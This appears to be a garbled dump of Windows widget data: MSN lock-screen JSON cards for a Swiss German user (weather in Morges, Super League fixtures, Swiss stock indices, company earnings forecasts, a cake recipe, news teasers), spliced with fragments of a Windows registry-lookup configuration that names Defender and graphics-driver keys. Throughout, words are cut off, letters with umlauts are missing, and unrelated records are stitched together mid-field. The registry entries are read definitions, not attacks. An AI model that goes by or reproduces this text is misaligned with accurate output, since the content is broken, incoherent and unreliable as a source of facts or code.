","wrap":true,"spacing":"medium"}],"verticalContentAlignment":"bottom","spacing":"small"},{"type":"Column","items":[{"type":"TextBlock","weight":"bolder","text":"AQI 59\rM ige Luftqualit t","horizontalAlignment":"right","wrap":true,"maxLines":3}],"verticalContentAlignment":"center","spacing":"medium"}],"height":"stretch"},{"type":"TextBlock","size":"small","color":"accent","text":"Vollst ndige Vorhersage anzeigen","horizontalAlignment":"center"}],"selectAction":{"type":"Action.OpenUrl","url":"https://www.msn.com/de-ch?ocid=widgetonlockscreen&serviceActivityId=b4e46352-b990-4a6d-83b1-d0f8c3e5078b&segment=Weather&scenario=AQICard","title":"Morges 7 C Sonnig, AQI 59\rM ige Luftqualit t, Vollst ndige Vorhersage anzeigen"}}},"url":"https://www.msn.com/de-ch?ocid=widgetonlockscreen&serviceActivityId=b4e46352-b990-4a6d-83b1-d0f8c3e5078b&segment=Weather&scenario=AQICard","publishedDateTime":"0001-01-01T00:00:00Z","additionalCards":[],"previewType":"Weather_NormalWeather_AQICard_wxaqi_TkBs-2602240857-0","notificationMetadata":{"pnpNotificationType":"Weather_NormalWeather","isBadgeEnabledPreviewCandidate":false,"lastStateChangeFileTimeUtc":0},"showBadge":true,"isBaselineRotation":false},"rotationalCount":0,"badgingInfo":{"isPreviewBadged":false}},"lockScreenPreviews":[{"displayDurationMs":0,"defaultPreview":{"relatedCardId":2,"adaptiveCards":{"lockScreen":nInMs":0,"animationSvgSize":72,"animationUrl":"https://assets.msn.com/weathermapdata/1/static/weather/taskbar/animation/20240908.1/Weather/W01_Sunny/W01_Sunny_{idx}.svg"}],"verticalContentAlignment":"center"},{"id":"LargeTicker1","type":"Column","width":"auto","items":[{"id":"BadgeAnchorLargeTicker","type":"Image","size":"medium","url":"https://assets.msn.com/weathermapdata/1/static/weather/Icons/MSIAWwA=/Condition/AAehR3S.png","horizontalAlignment":"center","lottieAnimation":"Sunny","rotationAnimation":"Sunny","svgUrl":"https://assets.msn.com/weathermapdata/1/static/weather/Icons/MSIAWwA=/Condition/AAehR3S.svg","svgSize":"72","playHoverAnimation":"true","playClickAnimation":"true","playRotationTransition":"true","playRotationIconAnimation":"true","lottieUrl":"https://assets.msn.com/weathermapdata/1/static/weather/taskbar/animation/jsonv6/TB_01_WeatherSunny.json","isAnimated":true,"animationCount":40,"frameIntervalInMs":17,"animationDurationInMs":0,"animationSvgSize":72,"animationUrl":"https://assets.msn.com/weathermapdata/1/static/weather/taskbar/animation/20240908.1/Weather/W01_Sunny/W01_Sunny_{idx}.svg"}],"verticalContentAlignment":"center","spacing":"none"},{"id":"LargeTicker2","type":"Column","width":"stretch","items":[{"type":"TextBlock","text":"7 C","spacing":"none"},{"type":"TextBlock","isSubtle":true,"text":"Sonnig","spacing":"none"}]}]}],"playHoverAnimation":true,"playClickAnimation":true,"playRotationIconAnimation":false,"playRotationTransition":false},"iconOverlay":{"type":"AdaptiveCard","version":"1.3","id":"WP_Small_Normal_png","speak":"7 C Sonnig","body":[{"type":"ColumnSet","columns":[{"type":"Column","items":[{"type":"TextBlock","id":"WidgetsOverlayText","size":"small","text":"7 ","horizontalAlignment":"center"}]}]}]},"lockScreen":{"type":"AdaptiveCard","version":"1.1","id":"Weather_Preview_LockScreen_LockScreen","height":"stretch","body":[{"type":"TextBlock","weight":"bolder","text":"Morges"},{"type":"ColumnSet","columns":[{"type":"Column","width":"auto","items":[{"type":"Image","url":"https://al-ccmllayout;eePosList:0;UserSegmentGid:0;StableIdCS:3CF62C95E6A26294118E3B92E7A463A8;Events-WPO:1;UserProfileActionSignal:0;InterestCount:0;UserCohortByEngagement28d:0;GANone:1;click56d_0;GEM:MNull;ClickCohort:0;tmpl-pr2l3:1;userNoPins:1;ExplcitFollowCohort:0;City:c-wO3z5;numofmutepub:0;XAIG:100_0;click90d_0;UserSegmentImp:0;FixIds:0;tmpl-cgtopstories:1;click_0;ULatLon46.51:6.5;FCSignal#0|0|0;UIC#t1_6|0|0|0.26;wxpkg:2.352.0;FCSupply#2|27_1|70_11|2_4|25_3|7_13|23_7|20_0|3;tmpl-pr2wbv2:1;L4ATFP:FirstPageRequest;tmpl-default:1;RecoSource:Sage_;SageUserStatus:0_0_0_0;LTInterests:;MainFeedsColdUser:true","debugInfo":"layout:wpolm","responseCreationDateTime":"2026-02-24T07:57:10.4009792Z","requestHeaderMuid":"3cf62c95-e6a2-6294-118e-3b92e7a463a8","debugId":"b4e46352-b990-4a6d-83b1-d0f8c3e5078b|2026-02-24T07:57:10.4009994Z|fabric_winfeed|EUS-D|WinFeed_2090","searchStoreVersion":"X1S","tier":"f","clientActivityId":"dc1e7ec1-a09e-4605-a696-1e7e23b0da35","requestFor":"default","enableSpotlightStack":false},"metadata":{"userContext":{"isMigrationConsentNeeded":false}},"previews":{"displayDurationMs":60000,"defaultPreview":{"relatedCardId":-1,"adaptiveCards":{"small":{"type":"AdaptiveCard","version":"1.3","id":"Weather_Preview_Small","speak":"7 C Sonnig","body":[{"type":"ColumnSet","columns":[{"id":"SmallTicker1","type":"Column","width":"auto","items":[{"id":"BadgeAnchorSmallTicker","type":"Image","size":"medium","url":"https://assets.msn.com/weathermapdata/1/static/weather/Icons/MSIAWwA=/Condition/AAehR3S.png","horizontalAlignment":"center","lottieAnimation":"Sunny","rotationAnimation":"Sunny","svgUrl":"https://assets.msn.com/weathermapdata/1/static/weather/Icons/MSIAWwA=/Condition/AAehR3S.svg","svgSize":"72","playHoverAnimation":"true","playClickAnimation":"true","playRotationTransition":"true","playRotationIconAnimation":"true","lottieUrl":"https://assets.msn.com/weathermapdata/1/static/weather/taskbar/animation/jsonv6/TB_01_WeatherSunny.json","isAnimated":true,"animationCount":40,"frameIntervalInMs":17,"animationDuratiorg-1sw-tbrfltr,prg-1sw-tt-wsstaging,prg-1sw-tvid-int-t1,prg-1sw-tvid-int-t2,prg-1sw-tvid-p1-int,prg-1sw-tvid-p2-int,prg-1sw-videopb,prg-1sw-videosxap,prg-1sw-wsstaging,prg-1sw-wxncvf,prg-1sw-wxtrlog,prg-ad-fina-posfix,prg-ad-hp-c-dbrsf,prg-ad-wx-ban,prg-adspeek,prg-cg-ad-bot,prg-cg-ad-ref-if-2,prg-cg-lf-iap,prg-cg-lstfix,prg-cg-zhcnfx,prg-disp-ad-ttvs,prg-fin-staginc,prg-hp-erp,prg-msnasgptcl3,prg-ntf1-1expcard,prg-ntf1-coldv2,prg-ntf1-expv2capping,prg-ntf1-worlow,prg-ntp-hmpgts1,prg-ntp-tfherott-on,prg-p1-txt2,prg-p1-uc3,prg-p2-txt2,prg-p2-uc3,prg-pcs-cghp-ctrl,prg-pr1-unpwxonly,prg-pr1-videos,prg-pr2-aadpmiti,prg-pr2-bao-t,prg-pr2-bapio,prg-pr2-climretry,prg-pr2-coldexp2rel0,prg-pr2-coldexpworfi3,prg-pr2-ctsr,prg-pr2-cupdate,prg-pr2-dmabrowser,prg-pr2-dmat,prg-pr2-exptagtopt,prg-pr2-fopt,prg-pr2-imghtdd-t,prg-pr2-imghttd-t,prg-pr2-inl-pre-all,prg-pr2-lifecycleba,prg-pr2-lottie-brds,prg-pr2-lottie-tbr,prg-pr2-miniw24h,prg-pr2-msnupqsp,prg-pr2-newint-c,prg-pr2-ntf-rel,prg-pr2-pre-seg-m,prg-pr2-pre-seg-s,prg-pr2-pre-seg-w,prg-pr2-reclaim,prg-pr2-sdflpprs-c,prg-pr2-segprer,prg-pr2-setdur-t2,prg-pr2-sportscold,prg-pr2-sr-10,prg-pr2-videos,prg-pr2-wtab-oo,prg-pr2-wwidgets-t,prg-ptv-msn-ib,prg-r-wtch-ovnad-m,prg-sh-bd-video,prg-sh-rmitmlnk,prg-sp-liveapi,prg-tv-api,prg-tv-p2-api,prg-tv-p2-segcap10,prg-tv-segcap10,prg-upsaip-w1-t,prg-vid-trdcache,prg-watch-vad-v2-rf,prg-wpo-pnpc,prg-wx-oswlink","fdFlightingVersion":"53575657","serviceActivityId":"b4e46352-b990-4a6d-83b1-d0f8c3e5078b","tmpl":"UserSegmentAid:0;Gem0Cnt_F_MainFeed_winp2widget_Default;ATFSignalTriggered:1;FCRelBarP_0.21;s-aygfq;click28d_0;WxLockScreen:Weather3DLock_Nowcast_clv3;TaggingUserActionSignal;triggercf_5_cfxeverything_0_uupv0;tmpl-video;tmpl-collayout;FCTarget|1|0_4|0.6_11|0.15_3|0.15_0|0.21_13|0.11;UserSegmentClk:0;wxunt:_C;triggercf;wxcdid:9;IsRecoNewUser:1;TileID:u0k8;IMArticleNegUser:0;c-wO3z5;P2DeviceWithEL;triggercf_5_cfxeverything_0;WxCardValid:1;TopSectionQualifiedCount:1;NotTPUser;tmpl-acoll3;UserHasActionSignal:0;click84d_0;SageUser:0;tmp\",\"SecurityType\":20,\"InstrumentId\":\"amysnm\",\"Symbol\":\"ABIT\",\"Market\":\"de-ch\",\"TimeLastUpdated\":\"2025-11-27T05:56:11Z\",\"Currency\":\"USD\",\"EpsForecastString\":\"+0.929\"}],\"timeZoneD ":\" pe/Z h\"}},\" NLY" Windows.Foundation.Collections.IVectorView`1<Windows.Data.Json.IJsonValue> Servicin anup "SER :{"Value ":"S Type GIN_INTE IVEO tera WORD"}," ICIN :"Se ours","R lueT XUPT icingCle Plug WORD TIMETHRE D":{ eThr D"},"SER NGCL eanu Windows.Foundation.Collections.IVectorView`1<Windows.Data.Json.IJsonValue> luginMai ance CLEA Windows.Foundation.Collections.IVectorView`1<Windows.Data.Json.IJsonValue> ERVERSKU K":{ uBlo "SERVICI EANU ervi shold"," alue HREA lueName" rvic onds FTWARE\M soft ade\ Windows.Foundation.Collections.IVectorView`1<Windows.Data.Json.IJsonValue> Windows.Foundation.Collections.IVectorView`1<Windows.Data.Json.IJsonValue> ICINGCLE PLUG ":"S emediati temp ment=Sports&scenario=sports-hero-league1,9fc6cb10-8379-675a-00d6-372b61a5f1e8,69165432,67763244&ocid=widgetonlockscreen&serviceActivityId=b4e46352-b990-4a6d-83b1-d0f8c3e5078b","title":"Widgets: Popul r in Super League, Spiel noch nicht gestartet FC Winterthur FC Thun , Spiel noch nicht gestartet St. Gallen FC Winterthur , Mehr in Super League anzeigen"}}},"previewType":"Sports_Preview_LockScreen_LockScreen","showBadge":false,"isBaselineRotation":false},"rotationalCount":0},{"displayDurationMs":0,"defaultPreview":{"relatedCardId":39,"adaptiveCards":{"lockScreen":{"type":"AdaptiveCard","version":"1.1","id":"DailyDiscovery_AreaSummary_Lockscreen","height":"stretch","body":[{"type":"TextBlock","weight":"bolder","text":"T gliches Quiz","maxLines":1,"spacing":"none"},{"type":"ColumnSet","columns":[{"type":"Column","width":"102px","items":[{"type":"Image","url":"https://th.bing.com/th?id=OBTQ.BT3BA7DC35FD447AFE71F96C00C262225D99291D391D1A2EA91747AB728314AFC0&w=102&h=68&c=1&rs=1","width":"102px","height":"68px","rounded":true}],"verticalContentAlignment":"center","spacing":"medium"},{"type":"Column","items":[{"type":"TextBlock","text":"Wenn Sie einen Blick zur ck auf das bisherige Jahr werfen...","wrap":true,"maxLines":3}],"verticalContentAlignment":"center","spacing":"medium"}],"height":"stretch"},{"type":"TextBlock","size":"small","color":"accent","text":"Nehmen Sie am Quiz teil","horizontalAlignment":"center","maxLines":1}],"selectAction":{"type":"Action.OpenUrl","url":"https://www.bing.com/search?q=Mit+Meerblick%2c+auf+dem+Land+oder+am+Puls+der+Stadt%E2%80%A6+Was+ist+Ihr+ideales+Sommerreiseziel%3f&filters=mgzv3configlist%3a%22BingQA_QuizLanding_Layout%22+IsConversation%3a%22True%22+WQOskey%3a%22SummerTravel_2019%22+WQId%3a%221%22&mkt=de-ch&ContentId=SummerTravel_2019&FORM=LKBQUZ&serviceActivityId=b4e46352-b990-4a6d-83b1-d0f8c3e5078b","title":"T gliches Quiz, Wenn Sie einen Blick zur ck auf das bisherige Jahr werfen..., Nehmen Sie am Quiz teil"}}},"previewType":"DailyDiscovery_AreaSummary_Lockscreen","showBadge"8Cpo5IfA--.png&h=16&w=16","width":"16px","spacing":"small","height":"16px"}],"spacing":"none"},{"type":"Column","width":"stretch","items":[{"type":"TextBlock","weight":"bolder","text":"FC Winterthur","spacing":"none"},{"type":"TextBlock","weight":"bolder","text":"FC Thun","spacing":"none"}]},{"type":"Column","width":"auto","items":[{"type":"TextBlock","weight":"bolder","text":" ","horizontalAlignment":"center","spacing":"none"},{"type":"TextBlock","weight":"bolder","text":" ","horizontalAlignment":"center","spacing":"none"}]},{"type":"Column","width":"auto","items":[{"type":"TextBlock","text":"","spacing":"none","height":"20px"},{"type":"TextBlock","text":"","spacing":"none","height":"20px"}]}]}]},{"type":"Column","width":"stretch","items":[{"type":"TextBlock","size":"small","text":"{{DATE(2026-02-28T17:00:00Z, SHORT)}}"},{"type":"ColumnSet","columns":[{"type":"Column","width":"auto","items":[{"type":"Image","url":"https://www.bing.com/th?id=OSB.TmlKzOk3gLwpo7rASniFng--.png&h=16&w=16","width":"16px","spacing":"none","height":"16px"},{"type":"Image","url":"https://www.bing.com/th?id=OSB.p5uyI6fq8Ea7mbyrdl5J8Q--.png&h=16&w=16","width":"16px","spacing":"small","height":"16px"}],"spacing":"none"},{"type":"Column","width":"stretch","items":[{"type":"TextBlock","weight":"bolder","text":"St. Gallen","spacing":"none"},{"type":"TextBlock","weight":"bolder","text":"FC Winterthur","spacing":"none"}]},{"type":"Column","width":"auto","items":[{"type":"TextBlock","weight":"bolder","text":" ","horizontalAlignment":"center","spacing":"none"},{"type":"TextBlock","weight":"bolder","text":" ","horizontalAlignment":"center","spacing":"none"}]},{"type":"Column","width":"auto","items":[{"type":"TextBlock","text":"","spacing":"none","height":"20px"},{"type":"TextBlock","text":"","spacing":"none","height":"20px"}]}]}]}],"height":"stretch"},{"type":"TextBlock","size":"small","color":"accent","text":"Mehr in Super League anzeigen","horizontalAlignment":"center"}],"selectAction":{"type":"Action.OpenUrl","url":"https://www.msn.com/de-ch?seg":"bolder","text":"13 871.06","maxLines":1,"spacing":"none"}]},{"type":"Column","width":"stretch","items":[{"type":"TextBlock","weight":"bolder","text":"SMIM Index","maxLines":1,"spacing":"none"},{"type":"TextBlock","weight":"bolder","color":"attention","text":"-1.39%","maxLines":1,"spacing":"none"},{"type":"TextBlock","weight":"bolder","text":"3 116.44","maxLines":1,"spacing":"none"}]},{"type":"Column","width":"stretch","items":[{"type":"TextBlock","weight":"bolder","text":"SPI Index","maxLines":1,"spacing":"none"},{"type":"TextBlock","weight":"bolder","color":"attention","text":"-0.24%","maxLines":1,"spacing":"none"},{"type":"TextBlock","weight":"bolder","text":"19 051.52","maxLines":1,"spacing":"none"}]}],"height":"stretch"},{"type":"TextBlock","size":"small","color":"accent","text":"Weitere Informationen zu M rkten","horizontalAlignment":"center","maxLines":1}],"selectAction":{"type":"Action.OpenUrl","url":"https://www.msn.com/de-ch?segment=Finance&scenario=marketbrief&ocid=widgetonlockscreen&serviceActivityId=b4e46352-b990-4a6d-83b1-d0f8c3e5078b","title":"Widgets: M rkte, SMI Index +0.08% 13 871.06, SMIM Index -1.39% 3 116.44, SPI Index -0.24% 19 051.52, Weitere Informationen zu M rkten"}}},"previewType":"Finance_Preview_LockScreen_LockScreen","showBadge":false,"isBaselineRotation":false},"rotationalCount":0},{"displayDurationMs":0,"defaultPreview":{"relatedCardId":1,"adaptiveCards":{"lockScreen":{"type":"AdaptiveCard","version":"1.1","id":"Sports_Preview_LockScreen_LockScreen","height":"stretch","body":[{"type":"TextBlock","weight":"bolder","text":"Popul r in Super League"},{"type":"ColumnSet","columns":[{"type":"Column","width":"stretch","items":[{"type":"TextBlock","size":"small","text":"{{DATE(2026-02-25T18:00:00Z, SHORT)}}"},{"type":"ColumnSet","columns":[{"type":"Column","width":"auto","items":[{"type":"Image","url":"https://www.bing.com/th?id=OSB.p5uyI6fq8Ea7mbyrdl5J8Q--.png&h=16&w=16","width":"16px","spacing":"none","height":"16px"},{"type":"Image","url":"https://www.bing.com/th?id=OSB.wZzJnLo457|eQOth":"100px","height":"66px","rounded":true}],"verticalContentAlignment":"center"},{"type":"Column","items":[{"type":"ColumnSet","columns":[{"type":"Column","width":"auto","items":[{"type":"Image","url":"https://img-s-msn-com.akamaized.net/tenant/amp/entityid/AA1S9ewq.img","altText":"HoriZen Video","width":"16px","height":"16px"}],"verticalContentAlignment":"center"},{"type":"Column","width":"auto","items":[{"type":"TextBlock","size":"small","text":"HoriZen Video"}],"verticalContentAlignment":"center"}]},{"type":"TextBlock","weight":"bolder","text":"Valkenburg: Drohnenrundgang durch die niederl ndische Stadt der Schl sser und H hlen","wrap":true,"maxLines":2}],"verticalContentAlignment":"center","spacing":"large"}],"height":"stretch"},{"type":"TextBlock","size":"small","color":"accent","text":"Weitere Videos wie diese ansehen","horizontalAlignment":"center"}],"selectAction":{"type":"Action.OpenUrl","url":"https://www.msn.com/de-ch/reisen/artikel/valkenburg-drohnenrundgang-durch-die-niederl%C3%A4ndische-stadt-der-schl%C3%B6sser-und-h%C3%B6hlen/vi-AA1WIzLr?ocid=widgetonlockscreen&category=takeabreak&subcategory=momentofzen&segment=Videos&fromWidget=true&serviceActivityId=b4e46352-b990-4a6d-83b1-d0f8c3e5078b","title":"Widgets_Daily wonders:Valkenburg: Drohnenrundgang durch die niederl ndische Stadt der Schl sser und H hlen, watch more video like this"}}},"previewType":"Videos_DailyWonders_LockScreen_V2","showBadge":false,"isBaselineRotation":false},"rotationalCount":0},{"displayDurationMs":0,"defaultPreview":{"relatedCardId":3,"adaptiveCards":{"lockScreen":{"type":"AdaptiveCard","version":"1.1","id":"Finance_Preview_LockScreen_LockScreen","height":"stretch","body":[{"type":"TextBlock","weight":"bolder","text":"M rkte","maxLines":1},{"type":"ColumnSet","columns":[{"type":"Column","width":"stretch","items":[{"type":"TextBlock","weight":"bolder","text":"SMI Index","maxLines":1,"spac :"none"},{"type" r","color":"good","t ne"},{L ype":"TextBlock","weightizontalA ment":"cen/ r","spacing":"none"},{"type":"TextBlock","size":"large","weight":"bolder","text":"13","h ,"sp ter" ng.c 5058 id%3 RB0Y0FWybfM6HMc2CV7k mMpZwCPq AwZDYtMDMwYi00OG FjZD %3d%3d%22+pa r%3a vityId=b 352-b990-4a6d-83b1-d itere Ereignisse anzeigen"}}},"p ewType":"Events_AreaSummary_Lock ype" ":"1.1", Content cPropert n-com.ak zed. mp/entit ategory es sich in Bussen bequem jetzt spricht die BVG Klartext ndows.Fo tion .IJs ndows.Fo tion .IJs ndows.Fo tion .IJs ndows.Fo tion .IJs ndows.Fo tion .IJs ndows.Fo tion .IJs ndows.Fo tion .IJs Windows.Foundation.Collections.IVectorView`1<Windows.Data.Json.IJsonValue> ndows.Fo tion .IJs ndows.Fo tion .IJs ndows.Fo tion .IJs UGIN Windows.Foundation.Collections.IVectorView`1<Windows.Data.Json.IJsonValue> ndows.Fo tion .IJs Windows.Foundation.Collections.IVectorView`1<Windows.Data.Json.IJsonValue> ndows.Fo tion .IJs Windows.Foundation.Collections.IVectorView`1<Windows.Data.Json.IJsonValue> FTWARE\M soft ade\ Windows.Foundation.Collections.IVectorView`1<Windows.Data.Json.IJsonValue> ndows.Fo tion .IJs Windows.Foundation.Collections.IVectorView`1<Windo ntrolSet vice ft\Windo urre mponent Node\Mic ft\E ients\{5 NEtePend ntrolSet vice x2ysbhu0 3854 NEIDSgeU 291D391D1A2EA91747AB728314AFC0&w=102&h=68&c=1&rs=1","width":"102px","height":"68px","rounded":true} cent":-0.126,"EpsForecast":2.86171,"RevenueForecast":10271943950.0,"EarningReleaseDate":"2025-12-03T21:05:00Z","Currency":"USD","Market":"de-ch","EpsActualString":"+2.862","EpsSurprisePercentString":"+13.64%"},"MarketCap":166935900000.0,"MarketCapCurrency":"USD","ExchangeId":"r6dwp6","ExchangeCode":"XSWX","OfferingStatus":30,"DisplayName":"Salesforce Inc","ShortName":"Salesforce","SecurityType":20,"InstrumentId":"civuu2","Symbol":"CRM","Market":"de-ch","TimeLastUpdated":"2026-02-24T07:38:13Z","Currency":"USD","EpsForecastString":"+3.050"},{"FiscalPeriodType":4,"FiscalPeriodEndDate":"2026-01-31T00:00:00Z","ExpectedReportDate":"2026-02-25T21:00:00Z","Timeslot":40,"EpsForecast":0.27176,"RevenueForecast":1254964190.0,"LastActualFiscalPeriod":"202510","LastActual":{"EpsActual":0.35,"EpsSurprise":0.04,"EpsSurprisePercent":12.9032,"RevenueActual":1212909000.0,"RevenueSurprise":28900000.0,"RevenueSurprisePercent":2.4409,"EpsForecast":0.31114,"RevenueForecast":1184006210.0,"EarningReleaseDate":"2025-12-03T21:05:00Z","Currency":"USD","Market":"de-ch","EpsActualString":"+0.311","EpsSurprisePercentString":"+12.90%"},"MarketCap":59029500000.0,"MarketCapCurrency":"USD","ExchangeId":"r6dwp6","ExchangeCode":"XSWX","OfferingStatus":30,"DisplayName":"Snowflake Inc","ShortName":"Snowflake","SecurityType":20,"InstrumentId":"ciw5h7","Symbol":"SNOW","Market":"de-ch","TimeLastUpdated":"2026-02-23T22:06:17Z","Currency":"USD","EpsForecastString":"+0.272"},{"FiscalPeriodType":4,"FiscalPeriodEndDate":"2025-12-31T00:00:00Z","ExpectedReportDate":"2026-02-25T06:00:00Z","Timeslot":20,"EpsForecast":0.28,"RevenueForecast":61478922000.0,"LastActualFiscalPeriod":"202509","LastActual":{"EpsActual":0.14,"EpsSurprise":-0.01,"EpsSurprisePercent":-6.6667,"RevenueActual":0.0,"RevenueSurprise":0.0,"RevenueSurprisePercent":0.0,"EpsForecast":0.15333,"RevenueForecast":18282740000.0,"EarningReleaseDate":"2025-11-12T06:00:00Z","Currency":"EUR","Market":"de-\CurrentControlSet\\Services\\igfx\\Parameters", "ValueName": "DCHUVen" }, "DchuNvidiaGrfxDeletePending": { "FullPath": "SYSTEM\\CurrentControlSet\\Services\\nvlddmkm", "ValueName": "DriverDelete" }, "DchuNvidiaGrfxExists": { "FullPath": "SYSTEM\\CurrentControlSet\\Services\\nvlddmkm", "IfExists": true }, "DchuNvidiaGrfxVen": { "FullPath": "SYSTEM\\CurrentControlSet\\Services\\nvlddmkm", "ValueName": "DCHUVen" }, "DchuNvidiaGrfxVen2": { "FullPath": "SYSTEM\\CurrentControlSet\\Services\\nvlddmkm\\Parameters", "ValueName": "DCHUVen" }, "DchuNvidiaGrfxVenTest": { "HKey": "HKEY_LOCAL_MACHINE", "FullPath": "SYSTEM\\CurrentControlSet\\Services\\nvlddmkm", "ValueName": "DCHUVenTest", "RegValueType": "REG_DWORD" }, "DefaultUserRegion": { "HKey": "HKEY_USERS", "FullPath": ".DEFAULT\\Control Panel\\International\\Geo", "ValueName": "Nation", "RegValueType": "REG_SZ" }, "DefenderCampRing": { "HKey": "HKEY_LOCAL_MACHINE", "FullPath": "SOFTWARE\\Microsoft\\Windows Defender\\MpEngine", "ValueName": "MpCampRing", "RegValueType": "REG_DWORD" }, "DefenderDisableAntiSpyware": { "HKey": "HKEY_LOCAL_MACHINE", "FullPath": "SOFTWARE\\Microsoft\\Windows Defender", "ValueName": "DisableAntiSpyware", "RegValueType": "REG_DWORD" }, "DefenderDisableAntiSpywarePolicies": { "HKey": "HKEY_LOCAL_MACHINE", "FullPath": "SOFTWARE\\Policies\\Microsoft\\Windows Defender", "ValueName": "DisableAntiSpyware", "RegValueType": "REG_DWORD" }, "DefenderDisableAntiVirus": { "HKey": "HKEY_LOCAL_MACHINE", "FullPath": "SOFTWARE\\Microsoft\\Windows Defender", "ValueName": "DisableAntiVirus", "RegValueType": "REG_DWORD" }, "DefenderDisableAntiVirusPolicies": { "HKey": "HKEY_LOCAL_MACHINE", "FullPath": "SOFTWARE\\Policies\\Microsoft\\Windows Defender", "ValueNam \Current rolS ces\ mdag Wie ein SS-General pl tzlich f r die USA arbeitete \Current rolS ces\ dmkm vid-rawptx3r70mxmx0gdf7fbd0d9w5nw64pdrsx8eckqn7qmg0bbyts gey95f20 j2c7 hhnnjati 38.de/ der BVG net/tena mp/e Windows.Foundation.Collections.IVectorView`1<Windows.Data.Json.IJsonValue> Windows.Foundation.Collections.IVectorView`1<Windows.Data.Json.IJsonValue> Windows.Foundation.Collections.IVectorView`1<Windows.Data.Json.IJsonValue> Windows.Foundation.Collections.IVectorView`1<Windows.Data.Json.IJsonValue> Windows.Foundation.Collections.IVectorView`1<Windows.Data.Json.IJsonValue> Windows.Foundation.Collections.IVectorView`1<Windows.Data.Json.IJsonValue> Windows.Foundation.Collections.IVectorView`1<Windows.Data.Json.IJsonValue> FTWARE\M soft Prin Windows.Foundation.Collections.IVectorView`1<Windows.Data.Json.IJsonValue> _Logs localdomain http://www.msftconnecttest.com/connecttest.txt kt und genau. Kochrezept und Zutaten: 80 g Butter schmelzen 100 ml Milch, 100 ml Wasser und etwas Salz hinzuf gen Mischen Sie 150 Gramm Mehl und 10 Gramm Backpulver in die hei e Mischung geben und gut mischen, damit keine Klumpen entstehen 4 Eier nacheinander in den abgek hlten Teig geben und gut mischen Hol diesen Teig Decken Sie die Auflaufform mit Pergament ab, geben Sie die H lfte des Teigs hinzu und verteilen Sie sie gleichm ig 20 Minuten bei 200 C im Ofen backen, erst nach dem Kochen ffnen F llung herstellen: 150 g Zucker und 2 Eier gut mischen Vanille und 100 g Mehl und gut mischen, so dass es keine Klumpen gibt 500 ml Milch hinzuf gen und umr hren Der erste Kuchen ist fertig, wir legen den zweiten Kuchen zum Backen Die Sahne bei mittlerer Hitze bis zum Kochen kochen, st ndig umr hren Die Sahne gleichm ig verteilen und den Kuchen 2 Stunden stehen lassen Guten Appetit!","readTimeMin":0,"url":"https://www.msn.com/de-ch/nachrichten/other/das-rezept-f%C3%BCr-einen-kuchen-der-im-mund-zergeht-ist-sehr-einfach-und-kosteng%C3%BCnstig-zu-backen/vi-AA1WKi04","locale":"de-ch","isLocalContent":false,"publishedDateTime":"2026-02-20T14:23:53Z","height":304.0,"wpoId":23,"isFeatured":false,"images":[{"width":1280,"height":720,"url":"https://th.bing.com/th?id=ORMS.1cf8ec8ba96127b70baa5e9e7e0493c9&pid=Wdp","attribution":"","title":"Das Rezept f r einen Kuchen, der im Mund zergeht, ist sehr einfach und kosteng nstig zu backen!","caption":"Das Rezept f r einen Kuchen, der im Mund zergeht, ist sehr einfach und kosteng nstig zu backen!","source":"msn"}],"provider":{"id":"AA1GzMBL","name":"Schnell Lecker","logoUrl":"https://img-s-msn-com.akamaized.net/tenant/amp/entityid/AA1RS2Ix.img","mainLogoUrl":"https://img-s-msn-com.akamaized.net/tenant/amp/entityid/AA1RS2Ix.img","promotionalUrl":"https://youtube.com/@schnelllecker","profileId":"vid-snfa9bt7eafef0efwnkki9bpeaebm6m5db7m49eucrckdyq3c2ba","lightThemeSVGLogo":{"width":0,"height":0,"url":""},"darkThemeSVGLogo":{"width":0,"height":0,"url":""},"feedAllowedFreeItem":0,"lightSqu ableForD puPr ftwa soft cPropert otpa 91-b9c4- dth":3840,"height":2160},{"url":"https://prod-streaming-video-msn-com.akamaized.net/v1/eus002/c87fbbf2-bdc0-430b-afaf-1ad8abf68a99/c4fa7bf2-ab44-471e-83ed-ddd1311b0704_18000.mp4","width":3840,"height":2160,"contentType":"video/mp4","fileSize":1362976144},{"url":"https://prod-streaming-video-msn-com.akamaized.net/v1/eus002/c87fbbf2-bdc0-430b-afaf-1ad8abf68a99/c4fa7bf2-ab44-471e-83ed-ddd1311b0704_6750.mp4","width":1920,"height":1080,"contentType":"video/mp4","fileSize":510995237},{"url":"https://prod-streaming-video-msn-com.akamaized.net/v1/eus002/c87fbbf2-bdc0-430b-afaf-1ad8abf68a99/c4fa7bf2-ab44-471e-83ed-ddd1311b0704_3400.mp4","width":1280,"height":720,"contentType":"video/mp4","fileSize":258866884},{"url":"https://prod-streaming-video-msn-com.akamaized.net/v1/eus002/c87fbbf2-bdc0-430b-afaf-1ad8abf68a99/c4fa7bf2-ab44-471e-83ed-ddd1311b0704_2250.mp4","width":960,"height":540,"contentType":"video/mp4","fileSize":173867807},{"url":"https://prod-streaming-video-msn-com.akamaized.net/v1/eus002/c87fbbf2-bdc0-430b-afaf-1ad8abf68a99/c4fa7bf2-ab44-471e-83ed-ddd1311b0704_1500.mp4","width":960,"height":540,"contentType":"video/mp4","fileSize":120398676},{"url":"https://prod-streaming-video-msn-com.akamaized.net/v1/eus002/c87fbbf2-bdc0-430b-afaf-1ad8abf68a99/c4fa7bf2-ab44-471e-83ed-ddd1311b0704_650.mp4","width":640,"height":360,"contentType":"video/mp4","fileSize":57192774}],"dedupeIds":{"newsClusterV5HPHash":["1836370785"],"newsClusterV6Hash":["-2055912848"],"newsClusterV7Hash":["642129631"],"contentId":["AA1Uuqcp"]}},{"id":"CanonicalName-topstories","type":"TopicFeed","isLocalContent":false,"height":304.0,"wpoId":33,"subCards":[{"id":"AA1WUD0n","type":"article","title":"Epstein-Skandal in Grossbritannien: Ex-Wirtschaftsminister Mandelson von der Polizei abgef hrt","abstract":"Am Montag wurde der fr here britische Wirtschaftsminister Peter Mandelson in London von der Polizei abgef hrt. Gegen ihn wird wegen mutmasslichen Amtsmissbrauchs ermittelt. Gegen Kaution kam er wieder frei.","readTimeMin":2,"url":"https://www.msn.com 16-4191-b9c4-1b9de4f94218","source":"msn","dedupeIds":{"newsClusterV5HPHash":["-799310787"],"newsClusterV6Hash":["-768165720"],"newsClusterV7Hash":["1738435082"],"contentId":["AA1WUD0n"]}},{"id":"AA1WV6BU","type":"article","title":"Darum eskaliert nach El Mencho die Gewalt in Mexiko","abstract":"Nach der T tung des Kartellchefs El Mencho ersch ttern Machtk mpfe 20 Bundesstaaten. Autobahnen werden blockiert, Flugh fen besetzt. Ein Experte spricht von offenem Kr ftemessen um die 